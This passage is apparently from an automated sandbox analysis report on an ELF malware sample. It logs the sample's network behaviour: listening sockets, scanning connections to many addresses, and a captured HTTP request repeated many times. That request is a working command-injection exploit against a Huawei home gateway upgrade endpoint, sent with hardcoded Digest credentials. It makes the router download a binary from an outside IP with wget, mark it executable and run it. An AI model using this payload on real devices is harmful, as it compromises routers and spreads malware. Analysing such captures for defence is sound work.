61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/sh4.elf (PID: 5523)	Socket: 127.0.0.1:23455	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	Socket: 0.0.0.0:0	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	Socket: 0.0.0.0:53413	Jump to behavior
Source: /tmp/sh4.elf (PID: 5525)	Socket: 0.0.0.0:80	Jump to behavior
Source: /tmp/sh4.elf (PID: 5538)	Socket: 0.0.0.0:0	Jump to behavior
Source: /tmp/sh4.elf (PID: 5538)	Socket: 0.0.0.0:53413	Jump to behavior
Source: /tmp/sh4.elf (PID: 5538)	Socket: 0.0.0.0:80	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 157.188.30.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.46.200.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.41.177.195
Source: unknown	TCP traffic detected without corresponding DNS query: 157.54.14.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.205.41.156
Source: unknown	TCP traffic detected without corresponding DNS query: 157.230.45.210
Source: unknown	TCP traffic detected without corresponding DNS query: 157.104.59.86
Source: unknown	TCP traffic detected without corresponding DNS query: 157.109.54.98
Source: unknown	TCP traffic detected without corresponding DNS query: 157.18.199.7
Source: unknown	TCP traffic detected without corresponding DNS query: 157.147.174.213
Source: unknown	TCP traffic detected without corresponding DNS query: 157.45.244.195
Source: unknown	TCP traffic detected without corresponding DNS query: 157.89.243.93
Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.83.17
Source: unknown	TCP traffic detected without corresponding DNS query: 157.75.239.239
Source: unknown	TCP traffic detected without corresponding DNS query: 157.124.121.54
Source: unknown	TCP traffic detected without corresponding DNS query: 157.7.91.6
Source: unknown	TCP traffic detected without corresponding DNS query: 157.12.102.34
Source: unknown	TCP traffic detected without corresponding DNS query: 157.7.253.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.55.64
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.163.217
Source: unknown	TCP traffic detected without corresponding DNS query: 157.65.82.221
Source: unknown	TCP traffic detected without corresponding DNS query: 157.75.232.177
Source: unknown	TCP traffic detected without corresponding DNS query: 157.170.4.234
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.0.78
Source: unknown	TCP traffic detected without corresponding DNS query: 157.252.141.128
Source: unknown	TCP traffic detected without corresponding DNS query: 157.22.69.66
Source: unknown	TCP traffic detected without corresponding DNS query: 157.157.116.80
